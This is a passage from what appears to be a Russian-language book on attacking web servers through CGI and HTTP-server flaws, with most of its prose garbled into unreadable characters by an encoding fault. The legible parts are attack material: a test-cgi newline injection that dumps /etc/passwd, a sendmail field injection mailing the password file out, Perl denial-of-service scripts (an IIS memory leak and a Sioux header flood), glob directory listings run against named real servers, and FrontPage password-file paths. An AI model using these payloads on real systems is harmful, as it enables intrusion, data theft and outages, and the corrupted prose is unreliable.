ப  ਯ <test-cgi> [277],    祬 ਢ  䠩  窨 "sh" (UNIX),  뢮 ६ 㦥 ।⢮  <echo>.


 #!/usr/bin/sh

 echo Content-type: text/plain

 echo

 echo SERVER_SOFTWARE = $SERVER_SOFTWARE

 echo SERVER_NAME = $SERVER_NAME

 echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE

 echo SERVER_PROTOCOL = $SERVER_PROTOCOL

 echo SERVER_PORT = $SERVER_PORT

 echo REQUEST_METHOD = $REQUEST_METHOD

 echo HTTP_ACCEPT = "$HTTP_ACCEPT"

 echo PATH_INFO = $PATH_INFO

 echo PATH_TRANSLATED = $PATH_TRANSLATED

 echo SCRIPT_NAME = $SCRIPT_NAME

 echo QUERY_STRING = $QUERY_STRING

 echo REMOTE_HOST = $REMOTE_HOST

 echo REMOTE_ADDR = $REMOTE_ADDR

 echo REMOTE_USER = $REMOTE_USER

 echo CONTENT_TYPE = $CONTENT_TYPE

 echo CONTENT_LENGTH = $CONTENT_LENGTH

 SERVER_SOFTWARE = Apache/1.3.12 (Unix) mod_perl/1.22 AuthMySQL Plus/2.20.2 PHP/3.0.14 rus/PL29.4

 SERVER_NAME = kpnc.softclub.net

 GATEWAY_INTERFACE = CGI/1.1

 SERVER_PROTOCOL = HTTP/1.1

 SERVER_PORT = 80

 REQUEST_METHOD = GET

 HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*

 PATH_INFO =

 PATH_TRANSLATED =

 SCRIPT_NAME = /cgi-bin/test-cgi

 QUERY_STRING = user=kpnc amp;pass=salt%20mine

 REMOTE_HOST = ppp-05.krintel.ru

 REMOTE_ADDR = 195.161.41.229

 REMOTE_USER =

 CONTENT_TYPE =

 CONTENT_LENGTH =







१ <砭>




᫥ ᪠ ⠭ ⭮,  ନ <CGI-ਫ> 孨᪨ ࠬ⥭.  ᠬ  ᫥   <ਫ, 믮騥  㤠 設  騥  ⮬ १ CGI-䥩>.
祬, ࠢ CGI  ⮫ ண  筮 ஧, ⮬ ६  뢠  । ᯥ稢  묨.
.  HTML
⮪ HTTP  ࠧࠡ⠭     (,   ᫥⢨  ᠬ ) ॠ樥 몠 ⥪ HTML (Hyper text Markup Language).
 । 쬨    ᯮᮡ ࠭ ଠ樨  Internet : ନ telnet. ⪮ ⠪ 室 뫠 室 ࠡ  ॠ쭮 ६  祭  䥩 㤠 ணࠬ ( ࠧ ࠧ).


१ <砭>




<  ࠧ 㢨, 祬  ࠧ >  த    ࠢ쭮.  ।⠢   ⮨⢠  㤮⢠ ࠡ  telnet , 稢    ᫥  ࢥ஢,     த ࠡ  ன 奬.
 BBS, 饭 ⥬⨪

telnet://newton.dep.anl.gov( 짮⥫ "bbs") 
⥪  
telnet://locis.loc.gov 


 ⫥     <Sierra> ⠢ 㠫  MUD (multi-user dungeon).    ᫥ ࢥ஢.


<>





telnet://mud.donetsk.ua:9000


Sloth III




telnet://slothmud.org:6101
ࢠ ணࠬ ॠ ଥ - ᨬ ⥪ ,  ࠩ ,    ⥭ WEB  ।砫  ⭮ ᬮ  㬥⮢.  ⫨稥  ᢮ ⭮  뭥 ।⢥,  ࠧࠡ⪠,  묨 ﬨ ଠ஢ ⥪,  砫 ⨥ ଠ樨.  㧥   ᪮ ਨ 拉୮ 䨧  1990   뢠 <WWW>.
  ६ ⠢ 祭,    1994  諨 祭 ᯮ  ᯥ⨢ ࠧ WEB. 設⢮  ⥫ ⪠뢠  ਢ   ६ ⥬ Gopher  telnet.
 ⮬ , HTML    ⪠ ࠪ⨢, (  堭 ⢨  짮⥫). ⠭, ࠭騥  ࢥ, 뫨  ,         롮.
७ প CGI 諮   ⭮.  ॠ樨  ⮫쪮  1993 ,    ६ ⠢   祬 ᭮ ⨪.   , ᫨ ᯮ,  ।⠢﫠 ᮡ    ६. <訥 >  ࠢ UNIX ।⠢﫨     , ஢   HTML     뫮  ,  . ⢮ ࠧ⢫  ஭   ⥫७権.  ᪠ ଠ樨  ⢨  ࢥࠬ ᯮ짮 ᨬ  <Gopher>, ࠢ騩  ⨬   㦥 ᮢ६ WEB-ਥ஢ ᪮ ⥬.  WWW   뫮 室.
   뭪  ଠ Netscape, ன 뫮 室 - 뫮  ,  <⪨> ⮢. 稢 뭮,  ᤥ ⠢    짮⥫,  ⥬ ᢠ騬 ,   ᪮ 뢠     ࠭ telnet.   ६ 㦥 ⢮ ᪨ 樮 ⥬,  WEB 룫拉 ਢ⥫ ⮬  ॠ樨 㠫쭮 , ⨢-⭮ 稭騬 짮⥫ (஡, ਬ, ࠧ ᥡ Visual Telnet).
  㧥஬,   ⠪  稫 HTTP-,   ॡ,   䮭 騩 <ਧ樨>  ୮ 뫠 .  ⮬, ᮢ६ Internet  90% ⮨  ᨢ,  ᮫⭮ ᮤঠ⥫쭮 䨪   । 襭 ࠧ⥫쭮: ᪨ 室 ⠢     ⨭ - ଠ    ।  ଠ,  ᮤঠ.    ᮤঠ  設⢠ Internet - ࠭祪 室   㣮.      ᨬ, ᫨ ᯮ,   ᪮    㦥.   ⠫죨 ᯮ <,  ६>,  ࢥ஢   뫮 ᥣ ,       ଠ樥  ⪠:








⠪  WEB-ࢥ.


 ⠪  WEB-ࢥ ࠧ㬥 襭 ଠ쭮 ࠡᯮᮡ 㧫, 㤠  䨪  ᮤন  祭 ਢ஢ 㯠  設.
 ᮮ⢥⢨  ⨬,  ⠪  ࠧ   㯯 - 易  訡 ஢ (ਬ, ࠧ襭 ⮤ PUT  DELETE,  祬 ஡ ᪠   <⮪ HTTP>)  訡 ணࠬ ॠ樨 ࢥ (ਬ, ९  ⮤, ⠫쭮 ᬮ७   <孮 뢠 ⥪>).
⤥ 㭪⮬  ஡ ᭮ ਯ⮢  ⨢ ࢥ ਫ. 㬥,  ⠪   ࠧ ᮤন ᠩ,    ࢥ  ⢥ ஬ ࠢ, 뢠   ﭨ.


१ <砭>




ᮢ ⠪  WEB-ࢥ, 騥  訬 뢮   㣨 樤⮢, ਢ 뢠⥫  ⮩稢 樠樨  堪ࠬ  ࠧᮢ묨 ࠭窠, ᯮ㥬묨  ⢥   ᢮ graffiti.  窨 ७ ୠ⮢ -   ५ ந⢨, ⮬  让 ஦ ᫥ 짮 樠쭮 ⨪ ॣ஢ ⠪  Internet. 設⢮ 롮ப   ९१⨢묨, 䨪   㠫 䥪 諥.   ஭, ᫨  㦨 ࠬ,   ᥣ   ࠧ襭묨.
⨢, ।⠢  ᭨,  業       ᠬ . 䨪 ⠪ 栬  㦨 宩 ४ < ⮫쪮 ,   ⭨-७  ⠫   㬥   ࠭ ,  楫  !> -  ,  ࠢ ?
 ᭮ ।⠢ ⠪, 騥  訡 ணࠬ ॠ権 HTTP-ࢥ஢,  ⥭樠쭮  ਢ  墠  ஫  設  祭 ਢ . ᮡ  ࠪ୮  UNIX- 樮 ⥬, ।⠢ ࢥ ਫ 訥 ਢ.
࠭ 筨 訡 - ᯮ짮 ࢥ஬ ⥬ 맮 樮 ⥬  ।祩 ࠬ஢, 祭  짮⥫.  ᭮ 뫠 ।᪠    ᯥ䨪 ⮪ HTTP,   ⨫  ᥡ  ࠧࠡ稪.
  <⠪  NTTP-ࢥ> 㦥 㯮   ਫ <InterNetNews 1.5>, ᯮ騬 맮 "eval"  ࠡ⪨ ࠢ ᮮ饭.  室  ⭮襭 WEB-ࢥ஢ ⠫ ᪮॥ ࠢ, 祬 ᠤ ᪫祭.
 ᮮࠦ ᭮  HTTP  ।⠢ 㯠  䨧᪨ ⠫.  ⮣  ࠡ⠥  㠫묨 ४ﬨ,      ⢮  ᪥. 筥 , ᮮ⢥⢨    ⢨⥫쭮 䠩 ன   筮    ⮩ WEB-ࢥ.
᪨  ࣠ ᮡ⢥ 䠩 ⥬  㦥 饩, ⥬ ᠬ ᯥ稢 ਭ樯  㡭 ⢨   樮 ⥬ [278],  ࠪ᪨ ணࠬ,  ६  ᥡ , ᯮ  ⥩ , ⠪   ᢮騥  ࠭樨    ᫥饩 ࠡ⪥ 樮 ⥬.
ਬ, HTTP-ࢥ   ஥ ⠪,    "GET /" ॠᮢ뢠  <C:\wwwroot\>. ணࠬ  ॠ ਢ ᫨ﭨ  ப.  堭 ࠡ⠥ ଠ쭮,   ,  ⠪饩   ᯮ짮  室   ஢ , ᫠  ४  窨 ७ 樮 ⥬  "GET :/".  訡 뫠 㦥, ਬ,  <Microsoft Personal Web Server>.
 饥 ६ ࠧࠡ稪 ᯮ ࠧ ⥬ ணࠬ 䨫஢,  ।饭  権.   ਢ   ᠬ. ਬ, ⥫ ᨬ "/"  맢 ।᪠㥬   ࢥ஢ -  ।⠢ ᠭ樮஢ 㯠   <ᠭ>.


१ <ଠ>




       ॢ <Apache>-ࢥ, ᯮ騥 ਬ⨢  㤠 㡫 ᨬ "/". ᫨  ᪠஢ ᭮ ப, 砫  ᨬ "/",     㤠. ⥬  﫮   ,   । 室 ந室    .
㤭 業  ᫮  ᨬ  ⢠   ᨬ "/". ६  ய樮쭮  ⢠ ᫥襩  ப,   ⢨ ⠪  ⪠  㦨 ᮬ, ᮤঠ騬 筮  ⢮ (浪 ᪮쪨 )  ᫥襩.
 ᮢ६   ࠢ,       ᢮ ࢥ, ⮬ ஧ ⠪ <⪠  㦨>   ⠥ 㠫쭮.


१ <ଠ>




 ᨨ Apache 﫨 믮    ࢥ, ⮨  ᫠ ᫥騩  "GET /cgi-bin/script?var=value%0Acommand". ,  室 ࠢ  ᨬ ॢ ⪨, । 窥 樮 ⥬ (Shell)  믮.
ਬ,  䠩 ஫  ⠪:
 GET /cgi-bin/test-cgi?kpnc=hacker%0a/bin/cat%20/etc/passwd
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
 bin:x:2:2:bin:/bin:/bin/sh
 sys:x:3:3:sys:/dev:/bin/sh
 sync:x:4:100:sync:/bin:/bin/sync
 games:x:5:100:games:/usr/games:/bin/sh
 man:x:6:100:man:/var/catman:/bin/sh
 lp:x:7:7:lp:/var/spool/lpd:/bin/sh
 mail:x:8:8:mail:/var/spool/mail:/bin/sh
 news:x:9:9:news:/var/spool/news:/bin/sh
 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
 proxy:x:13:13:proxy:/bin:/bin/sh
 majordom:x:30:31:Majordomo:/usr/lib/majordomo:/bin/sh
 postgres:x:31:32:postgres:/var/postgres:/bin/sh
 www-data:x:33:33:www-data:/var/www:/bin/sh
 backup:x:34:34:backup:/var/backups:/bin/sh
 msql:x:36:36:Mini SQL Database [279]


१ <ଠ>




쬮  1997   < > Microsoft  쪠 孨᪠ ⪠  ஬ Q168501,   ப  ᫥饥: <Microsoft Active Server Pages (ASP) download instead of executing, even after you install the ASP fix for IIS [280]>  ⮩ ᠤ 訡 㦥 㯮  १   <⮪ HTTP>.  ,  (!)   ⪠  뫠   ஡, ,  [281]
  ࠫ ࠧ稥   ⪨  䠩  Windows NT. 㠫 ४ਨ,  뢠 ᥢ [282], ᥣ 뫠     . ਬ, 䨧᪮ ⠫ <:\InetPub\wwwroot\cgi-scripts>   ᢮ ᥢ "/cgi-scripts". 㠫 ਡ 頫 ⥭  ᮤঠ   䠩.   ࠡ⠫,  -  諠   , ᯮ짮 ⪨  </cgi-sc~1/>. 樮 ⥬ ࠢ쭮 ࠡ뢠 ,  㠫쭮 ⠫  ⠪   ⢮! ⮬ <it would reference the file through the physical directory structure. Therefore, it would load the ASP file with the roots access of Read>.
ࠬ 뫮 ४ ⪠  ᯮ짮      ࠭ ᯮ塞 䠩. ᫨    뫮 易  室 ᥭ  ࠪ᪨   䠩 ᠩ, ᫮, ⠪   㯨. ⮬,      室 ࢥ, 梨 ⨢ ⠪ ⮩ ⠪ -   ⠫    ᪨ 楫ᮮࠧ묨.


१ <ଠ>




 ASP 易   ⭠ 訡, ਢ   ᬮ 室    ᯮ.  設⢥ 砥 ࠧࠡ稪 ᯮ 砥 (<.inc>) 䠩  㤮⢠ ணࠬ஢.   ﭭ  㪠뢠  ,      ६ PATH.
 ਢ  ⮬,  ᮤন INCLUDE-४ਨ ⠭ 㯭 ᥬ ⥫ ᠩ, 筮  । ࢥ ᫥騩  "GET /SomeScript.inc".
⢥ ஡ - 㣠  䠩. 뢠, ᪫ ࠧࠡ稪  ᫥ ,  ஡ ᯮ짮 ᫮୮ ⠪.


१ <ଠ>




⭠  易  <AnalogX SimpleServer 1.03>. ᫨   , 訢 ⮤ GET,  ࠢ  ᥬ ᨬ  ਩  - 訡  㫥 <emu-str.c>
ਬ: "GET /cgi-bin/goodkpnc HTTP/1.0"   telnet,  "http://www.SimpleServer103.com/cgi-bin/goodkpnc"   㧥.


१ <ଠ>




 , ⢥⮩ ᨨ, <Microsoft Internet Information Server> 뫠 㦥 㡠 訡, ਢ  窥   ஬  ⥬.  ।  ⮤ POST  PUT, ࢥ ⢮ ॡ   Content-Length ⢮ . ᫨  ⥫쭮 ६    ⨢, ᮥ ࠧ뢠,    ᢮!
#!/usr/local/bin/perl -w
use Socket;
print "Content-type: text/html\n\n";
print "<BODY> <H1><CENTER>";
print "IIS 4.0 Memory Leack</H1></CENTER><HR><BR>\n";
$count=1;
$size=10240;
$N=100;
while ($count<$N)
{
socket(SRV, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);
connect(SRV, sockaddr_in(80,inet_aton('www.iis40.com')));
send(SRV, "POST /cgi-bin/test-cgi HTTP/1.0\n",0);
send(SRV,"Content-Length:$size\n\n",0);
$count++;
print "Content-Length:$size\n";
print "<BR>";
}
ਢ ਬ [283] 뫠 100 ᮢ  ॡ 뤥 10      .  १ ⮣, 100x10 - 1000  뢠 ﭭ묨 [284]


१ <ଠ>




॥ 筠, 祬 ᭠ 訡 뫠 㦥 : ਭ <HP LaserJet 4500 + HP JetDirect J3111A>, 騬 ஥ Web-ࢥ, ।祭  㤠 ஢. 㬥७   GET ਢ  뤠   ࠭ ⨪. ⠪騩   ⪮ ६ ਢ    㬠, 室  ⪥  ஢ ⠫   .
訡 ⠪ ⨯ ⭮  ᠤ ஬堬 ࠧࠡ稪  筮    ।⠢.  ᠬ , 蠭   ந쭮 ⮬ 㧫 ॡ㥬  ⠪ 䨣, 祭    த 㬥      㡫 ଠ樨  訡.
ࠧ  ᭮ ।⠢ 楯㠫 梨,   ࠡ騥   ଠ, 樮 ⥬  ࢥ.   ⪮ ⮪ HTTP  ࠭祭 ࠧ  .     ࠭  ࠡ⪨ ॡ ஥ ⢮   ୮ ६!
ᠢ ࢥ, ஬묨, ᫥묨 ( ᫥묨 -  ஫  ࠥ) ,  ⥫쭮   ந⥫쭮,    ⪠  㦨 ⠫ ⮢.
  ⭠ 孮  뫠   ᭮ Sioux [285] - ⠪,   ਬ஢ ணࠬ ॠ樨 ன   [286].


 #!/usr/local/bin/perl -w

 use Socket;

 print "Content-type: text/html\n\n";

 print "<BODY> <H1><CENTER>Sioux Attack</H1></CENTER><HR><BR>\n";

 $size=16384;

 $N=20000;



 socket(SRV, PF_INET(), SOCK_STREAM(), getprotobyname("tcp"));

 connect(SRV, sockaddr_in(80,inet_aton('www.sacrificial.com')));



 send(SRV, "GET / HTTP/1.0\n",0);

 $devastating=('x'x$size);

 $count=1;

 while ($count<$N)

 {

 send(SRV,"Field$count:$devastating\n",0);

 $count++;

 print "Field$N:$devastating\n";

 print "<BR>";

}




ਢ ਬ, 뫠  ࢥ- ,   ண  $N    $size  .  祭 $N  $size   ய᪭   ⠪饣, ⨯ ࢥ  ⢠ 㣨 ᫮. ᯥਬ⠫쭮 뫮 ⠭,   㧪 뢠       쬨  ⭠ .


१ <ଠ>




⮣ ࠫ ࣮ ⠬  㡥 On-line   ⢠  ᢮ ⭮  堮, 襣 ୮ 祭  ᥬ୮ ⨭ (।,     뫨 ᯮ짮  ⠪).
<  ࠢ  﫮  ⮩> ⨫    -७樨  ,   ஭ <Yahoo>,   堪᪮ ⠪, 稢訩  ࠭.  뫨 ⠪ http://Amazon.com, http://Buy.com, http://CNN.com  ᪮쪮 㣨 ᠩ⮢,  㯮   稭   ⭮ ᨩ᪨ ୥稪.
 ⭮ ⮧  ᯥ⨢    諥 (         ᨩ᪮ ).  ⨢ ய஢ ॢ⨢  ,   <⠭ >  ⥬ ᭮ ࢥ ਫ,  祬  頫 ⨢ , ४ ᢥ <⪨> 뫮  http://www.fbi.gov/nipc/trinoo.htm.
 㤠 㤭 뫮 㤥ঠ  ࠧ஢. 宦,    ⨫ 祣, ஬ ᮡ⢥ ᭮,   㪠뢠 , ।祭  樮 ⥬ Solaris 2.5.1, 2.6, Solaris 7 (Sparc, Intel),   ,   , ᮡ⢥,  ࠡ⠥.
  ন ⭠  LINIX   Intel.  Windows?
    졠 짮⥫ ( ஢), ᨤ  Windows, ⮬ <:This file will not work on a Windows-based PC>, ,  祫᪨ 몮, < ᫠>.
 ⮭ ।祫  ⢥ , 頢 2  ஢ (http://news.cnet.com/news/0-1005-200-1516764.html),    ⥬  ⨯ 堪஢,  ⠪ 뢠 ⥢  ( ⠢    ,  - 浪 25%,  ࠩ ,  ).
ࠢ 죨  뤥     ⮣ ,     । ᫥饣 (  2001).  㦥 室 騥 ࢠ ᥡ ᮪  ⮣ ண.   㩤   ଠ樮 孮 (http://www.itl.nist.gov/) , 筮 , 樮  ⠭⮢ (http://www.nist.gov/).
  㯮 ࣠樨 ⭮  ᭮ -  㦥,  , < >.   ⮬,    堪,  ⥬,      ᫥ । ࠢ쭠 ⨪ ᭮ ⠪㥬 , ⠪   ⠫.
 ⫥,   ⢨⥫쭮  ᮢ   襭 ஡,   <뤮>   ࠢ⥫⢠     ஥,  ࠢ⥫⢮   䨭஢    易.  筮 ,  筠 ᭮, -     ,   . १   㣨 .
 ஡ﬨ  ࠧப  室  ᠩ ⢠ CNN (http://news.cnet.com/news/0-1005-200-1546306.html?tag=st.ne.1002)
묨   ⠪ ॠ஢ ࠧࠡ稪 Apache,   ४⨢ <LimitRequestFields>, ࠭稢 ᨬ쭮 ⢮    .  ᮦ, ⠫ ந⥫  ࠧ  ⨢      ࢥ   ஢ ⠪ ᯮᮡ [287].




㭮 apache.bmp  룫廊 ⨯ ࢥ Apache



, ᫨   ࢥ ୮ 몠 饭 ந⥫ ⪮,  訡  ਯ, ᮧ 楬 ࢥ (  ࠡ   ணࠬ⮢) 室  ࠭ 室 ᠬ ࠧࠡ稪,   ⠪- . 祭 㤭 ᮧ ⨢稢 ⥬ ࠡ⪨ 짮⥫᪮ , ।ᬠਢ  ᥪ  ⥭樠쭮  蠣 諥. 設⢮ ணࠬ⮢ 뢠  쭮 , 饣  ਯ⮬ < 㦭>  < ⮣ ॡ ࠢ >.
᪮ ⢥ত ⮬ , ࠢ騩 쬮  , 㪠 짮⥫,  砥 ࠪ᪨   ॣ樮 WEB-ଥ.  UNIX-⥬  ⮩ 楫,  ࠢ, ᯮ 맮 ਫ SendMail,  ।祩  祭   ப.  ᢮  ⠪ 奬 㦨  ୮     ࠡ⠫ ଠ쭮. , , -  諠    ᯮ짮 ७ࠢ   ஢ 䠩,     ଠ쭮 室 饩 . ᫨ 諥   ⮢ ᮬ । SendMail- ᢮ ,  ᬮ   䠩,   㤨.  ᭮ ⮣ ਥ  堭 ࠡ⪨ ᮢ ணࠬ SendMail: < , 室騩 १ 砫  ᨭ⠪᪮ ࠧ  ᮢ (   騩 ⢨⥫ ᮬ  㣮 ⮢ ணࠬ) ᪠   ᯥ樠 . ᫨  ।७ ⨪쭮 ⮩ ("|"),  ⠢   㤥 ࠡ⠭   窨 (shell command). ᫨  짮⥫ 稭   ᮩ  ("/"),    ᯮ   䠩,   짮⥫. , 騥 ⠢  ᬥ  (setuid)  ᬥ 㯯 (setgid)   騥 ⮢ 믮   , ᫨ sendmail 饭  짮⥫ root.> [288]
, ਬ, ᫨  ⢥ ⭮   WEB-  "Hack2000@mail.ru; mail Hack2000@mail.ru </etc/passwd",  ஥ ६  㦨  ᢮ ⮢ 騪 䠩 ஫,   㣮 㪠 䠩.
 訡 ⨫ ࠧࠡ稪?    譮 짮⥫, 饣   ,   뢠 ணࠬ. 宫᪠ ,   ᮧ⥫쭮 ६ ⪨  ਠ,  뢠騥   ,   ࠧ  < >.


१ <砭>




   諥 ⠪ 砩. ᪠뢠 [289],    ஡   - ⨫  ⥪ﭭ , ⭮ ⠭ 룠  ஬. 襤訩   ⥭ ᮢ,     ⢮. <> । , - < 室  ?>. ⥭,       ஡,  ⭮. <  ᪨!> ᪫ .
᪨  ᪨   ⥫쭮,  ࠪ᪨  ᯮ ᮢᥬ   楫,   ⥭ ᫮ 筠 樠 <>-<ਨ>,  ᤥ 祢 ᪮ 㬮祭 [290].
 ਤ  襣 ⮫ 袥᪨ ஭ .  ᮧ, ⠪ 뢠, 䮫᪨ ⮤,  , ⮤ ࠢ 樨, 騩  ⥬᪮ ॡ  ⥩,   ,  ⨢ 襬  ,    砫 ࠭. [291]
, ਢ  ਬ ( ᪠  SendMail) ⢥ত  䠪,  ,   樨,    ⪨. ࠡ稪  室   㡥,  㦭 ᯮ짮 ਯ,   ⮣,    ᯮ짮.  , ⫨   ⠫ ᫠ 樥 諥.  ᮡ ᪫ ᮧ,  ਭ騩 祣     থ ⨧.  騬 ᫮ ⢥ ࠧ稥 뢠 ਭ樯쭠 ࠧ. ᫨  ⥣  ६  ᭥,   ,   ਢ  .  , 諥 ࢮ ⥣ਨ  㯮 奬  () a ᭥, ..     ᭮ 㦥 饣  . 㣠  ⥣, ⨢,  ᭮   ନ ᢮  .


१ <砭>




મ 樥 樨 諥  㦨 ⠭  , ࠪ㥬 ஫  ⢥ ।.    ॢ 室 䨫, 騥,     ᫮ ६饭   ࠦ ᮢ襭 ࠥ਩  ࠭⢥?


஡ 砥  ⮬,  ୮ ᭥  ਭ ⨭   쭥襬 ⠭ ⮫쪮 ਢ,      室 ९஢  ᬮ   㣨 㣫 ७.
, ਬ, -  ᠭ ⥩訩  䠩 "test-cgi", 騩   "echo" ஫஢ । ࢥ ६ 㦥.  ,  ਢ  ணࠬ ( ᪥, ਫ  ,  室  䠩 "/SRC/test-cgi")    祬 訡:


 #!/bin/sh



 echo Content-type: text/plain

 echo



 echo SERVER_SOFTWARE = $SERVER_SOFTWARE

 echo SERVER_NAME = $SERVER_NAME

 echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE

 echo SERVER_PROTOCOL = $SERVER_PROTOCOL

 echo SERVER_PORT = $SERVER_PORT

 echo REQUEST_METHOD = $REQUEST_METHOD

 echo HTTP_ACCEPT = $HTTP_ACCEPT

 echo PATH_INFO = $PATH_INFO

 echo PATH_TRANSLATED = $PATH_TRANSLATED

 echo SCRIPT_NAME = $SCRIPT_NAME

 echo QUERY_STRING = $QUERY_STRING

 echo REMOTE_HOST = $REMOTE_HOST

 echo REMOTE_ADDR = $REMOTE_ADDR

 echo REMOTE_USER = $REMOTE_USER

 echo CONTENT_TYPE = $CONTENT_TYPE

 echo CONTENT_LENGTH = $CONTENT_LENGTH




 ⠪ (   ⠪)  ਯ ਫ   WEB-ࢥࠬ  ப ࠭  .    ᥭ 頫   ᯮ塞 ४  뢠  ᥬ 騬.  筮 ,  ਢ    ᯥ . 堭 ⠪ 砫  <ᮢ뢠> ᨬ- 譥  ਯ "test-cgi".  "echo" ஢   㪠 뢥 ᯨ᮪ 䠩, ⢥  蠡.
ਬ, ᯨ᮪  ⠫ ਯ⮢  ⥪饬 ⠫  뫮 ᬮ ⠪: "GET /cgi-bin/test-cgi?*".   ,  ⮬ 祣 ᭮   ,   ᠬ , ᬮ ᮤন ⠫, 뢠   楫ࠢ ⠪.  ⠭   ᯮ짮 ७ࠢ   ⮢ , । ਫ SendMail,  ᮤন ४਩, ਢ  ஧ 楫ࠢ ⠪.
ਬ, ਢ ,  ᬮ ᮤন ୥ ⠫   ࢥ஢ - http://www.project.aha.ru [292]. ᫨  ᭮ ப 㧥  "http://www.project.aha.ru/cgi/test-cgi?/usr/*" [293],  ⢥ ࢥ  룫拉 ਡ⥫쭮 ⠪ [294] ( ⮬ 뤥 ᮤন  QUERY_STRING, 饥 १ ࠡ⪨ ):



GET /cgi-bin/test-cgi?/*

 CGI/1.0 test script report:



 argc is 1. argv is /\*.



 SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU

 SERVER_NAME = home.project.aha.ru

 GATEWAY_INTERFACE = CGI/1.1

 SERVER_PROTOCOL = HTTP/1.1

 SERVER_PORT = 80

 REQUEST_METHOD = GET

 HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*

 PATH_INFO =

 PATH_TRANSLATED =

 SCRIPT_NAME = /cgi-bin/nph-test-cgi

 QUERY_STRING = /6 /8 /bin /boot /bzImage-2.0.35 /bzImage-2.2.11 /bzImage-2.2.11-2 /bzImage-2.2.12 /cdrom /dev /etc /floppy /home /initrd /lib /lost+found /mnt /oak /proc /root /sbin /tmp /usr /var

 REMOTE_HOST = ppp-09.krintel.ru

 REMOTE_ADDR = 195.161.41.233

 REMOTE_USER =

 CONTENT_TYPE =

 CONTENT_LENGTH =




஡ 訫 ⠭ 祪  "$QUERY_STRING" [295]. - ६  ᤥন 諥,   諥  ࠧࠡ稪    ࠧ. ⠫,  "$QUERY_STRING",  ⢥ ࠬ,  । ࢥ 짮⥫, ⮬   ⠫  ⨫  .  ,  設⢮ ࢥ஢ ( ᠬ ࠭   - Apache)  ஢ ᨭ⠪᪮ ४⭮ ᮤন  < HTTP>, 㪠뢠  । .  १ ⮣   ⠢    ப, ਬ, "/etc/*".  ⠪ ⠪ ਢ  [296] ( ⮬ 뤥  "SERVER_PROTOCOL", ஥  ଠ쭮 ࠧ⨨ ᮡ⨩  ᮤঠ  HTTP, ᯮ㥬 ⮬,    砥 ᯨ᮪ 䠩   ४ਨ "/etc"):


 GET /cgi-bin/nph-test-cgi?* /usr/*



 HTTP/1.0 200 OK

 Content-type: text/plain



 Server: Apache/1.3.0 (Unix) Debian/GNU



 CGI/1.0 test script report:



 argc is 1. argv is \*.

 SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU

 SERVER_NAME = biophys.urcrm.chel.su

 GATEWAY_INTERFACE = CGI/1.1

 SERVER_PROTOCOL = /usr/7 /usr/X11R6 /usr/bin /usr/dict /usr/doc /usr/games /usr/include /usr/info /usr/lib /usr/local /usr/lost+found /usr/man /usr/sbin /usr/share /usr/src

 SERVER_PORT = 80

 REQUEST_METHOD = GET

 HTTP_ACCEPT =

 PATH_INFO =

 PATH_TRANSL

 ATED = SCRIPT_NAME = /cgi-bin/nph-test-cgi

 QUERY_STRING = 1.pgsql 2.pgsql 2.pgsql~DEADJOE archie calendar capture date dwww-fig finger fortune htsearch imagemap

 info2www-fig log logging.cgi~ log~ mailto.pl nph-test-cgi php3 test-cgi test-env

 uptime wais.pl www-pgsql wwwcount.cgi

 REMOTE_HOST = ppp-18.krintel.ru

 REMOTE_ADDR = 195.161.41.242

 REMOTE_USER =

 CONTENT_TYPE =

 CONTENT_LENGTH =




᫥ ࠢ ⮩ 訡, ⠫ । "REMOTE_USER", "CONTENT_TYPE", "USER_AGENT"  ..
 ⥪  ⥫ 祭.      ⠭ ⥪  ⢮७ ஭ ࠧࠡ稪. ᮢ  筮 -  ᭮ 㦨 諥. ⮡ ᫥ ਯ, ० ᥣ, 室   室 .  ࠢ쭮 ᪮䨣஢ ࢥ  ,      ﭨ ।  饤㯭 ணࠬ. , 稢  ᢮ ᯮ殮 饤㯭 ਯ, 諥   㦨 ᮤঠ騥   訡. , 㦨, ⠪ , ᯮ ⠪ ਯ.
 ⨢稢 . ணࠬ஢ ᠬ  ४,  ⢨  饣 設⢠ 室   몮 ᮧ  ਫ.   ଥ ࠧࠡ⪨  客  訡. , ⨭ ஬ ⢮ 訡 ᮤন  ७  FrontPage (FPE).


१ <ଠ>




 ⠭ FrontPage 1.1, 䠩 /_vti_pvt.administrator.pwd, /_vti_pvt/authors.pwd  /_vti_pvt/service.pwd  㬮砭 ⠭ 饤㯭묨   ॡ  짮⥫ ਧ樨.


१ <ଠ>




᫥ ⠭ FPE  Apache, 뢠   ४ਨ /_vti_bin,  ࠢ   ᯮ 䠩   ਧ஢ 짮⥫.
⨢ , - ᢮ ਯ   :   訡  뫨 饭, 㯭 室 ⥪ ணࠬ   諥  㦨 (,  ࠩ , १砩 㤭  ).  ࠪ⨪ 뢠 ⭮.   㤨⥫쭮, -  ணࠬ ᪫      ⨯ 訡.
 ᬮ७     砫   (। ⠫쮭 SendMail ,  짮⥫). ࠡ稪  ᯮ 맮 譨 ணࠬ  믮  ⢨, ॠ뢠   ᠬ ਯ 뫮    १砩 㤭⥫쭮. ᭮ ⠪ 室 砥  ⮬,  ࠪ᪨  ਫ  冷 㬥஢ ᮡ⥩,  ன ᯮᮡ  ।᪠㥬 .     ᯮ짮  ஭      ஢.
᫨   ⪠  ᯮ짮 譨 ணࠬ , ४ 믮 䨫  짮⥫ -  ।  譥 ணࠬ ஠஢  ᮤন, ஢ ४⭮  짮⥫.  ⥫쭮 ⢫   ,  ஫஢  ,    易  짮⥫.     ⥫쭮 ஢७  ⮣,    ᯮ짮. 祭 ࠭ 訡 - 맮 㦥 ணࠬ, ଫ   ⤥쭮 ਯ  ।祩 㬥⮢   ப.  ࠧࠡ稪 ᪫ ,  ⠪ ਯ ᥣ 뢠 ⮫쪮  ,  뢠  ஢થ ࠬ஢.
᫨ ⠪ ࠧ   ( ) 䠩, ।  ࠬ, 諥 ᬮ 믮    ࢥ,   梨 ணࠬ. 稭 砥  ⮬,  㭪 "open" 몠 Perl ( ஬ ᠭ 饥 設⢮ ਯ⮢)  ᨬ "|"     믮  . ਬ, "open(H,"File |")", ਢ  ,    䠩 "File".
